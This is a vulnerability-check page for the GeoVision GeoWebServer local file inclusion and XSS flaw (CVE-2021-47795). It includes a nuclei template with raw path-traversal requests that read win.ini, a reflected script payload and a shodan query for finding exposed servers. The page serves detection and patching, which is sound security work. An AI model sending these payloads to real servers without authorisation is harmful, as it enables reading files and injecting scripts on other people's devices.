GeoVision GeoWebServer <= 5.3.3 - Local File Inclusion / Cross-Site Scripting

highseverity

6.2CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

GeoVision GeoWebServer 5.3.3 and prior is vulnerable to local file inclusion and cross-site scripting due to improper sanitization of user-supplied input in the WebStrings.srf endpoint. An unauthenticated attacker can read arbitrary files from the server or inject malicious scripts.

Impact

Unauthenticated attackers can read arbitrary files from the server via path traversal, or execute arbitrary JavaScript in the victim's browser via reflected XSS.

Fix

Contact GeoVision support for a patched firmware version that addresses the input sanitization issues.

How to confirm it

Send: GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=<script>alert(document.doma… ; POST /Visitor/bin/WebStrings.srf?obj_name=win.ini ; GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e…
Positive when: contains_all(body, "for 16-bit", "[fonts]", "[extensions]") and contains(content_type, "application/octet-stream") and status_code == 200 OR contains_all(body, "<script>alert(document.domain)</script>={\"AeDebug") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2021-47795 -u <target>

The full check

id: CVE-2021-47795

info:
  name: GeoVision GeoWebServer <= 5.3.3 - Local File Inclusion / Cross-Site Scripting
  author: shamo0
  severity: high
  description: |
    GeoVision GeoWebServer 5.3.3 and prior is vulnerable to local file inclusion and cross-site scripting due to improper sanitization of user-supplied input in the WebStrings.srf endpoint. An unauthenticated attacker can read arbitrary files from the server or inject malicious scripts.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server via path traversal, or execute arbitrary JavaScript in the victim's browser via reflected XSS.
  remediation: |
    Contact GeoVision support for a patched firmware version that addresses the input sanitization issues.
  reference:
    - https://www.exploit-db.com/exploits/50211
    - https://www.geovision.com.tw/cyber_security.php
    - https://nvd.nist.gov/vuln/detail/CVE-2021-47795
  classification:
    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.2
    cve-id: CVE-2021-47795
    epss-score: 0.02823
    epss-percentile: 0.86698
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 3
    vendor: geovision
    product: geowebserver
    shodan-query: title:"Geowebserver"
  tags: cve,cve2021,geovision,geowebserver,lfi,xss,vuln,vkev

http:
  - raw:
      - |
        GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=<script>alert(document.domain)</script> HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /Visitor/bin/WebStrings.srf?obj_name=win.ini HTTP/1.1
        Host: {{Hostname}}
        Content-Length: 0

      - |
        GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\win.ini HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: or
    matchers:
      - type: dsl
        name: lfi
        dsl:
          - 'contains_all(body, "for 16-bit", "[fonts]", "[extensions]")'
          - 'contains(content_type, "application/octet-stream")'
          - 'status_code == 200'
        condition: and

      - type: dsl
        name: xss
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>={\"AeDebug")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from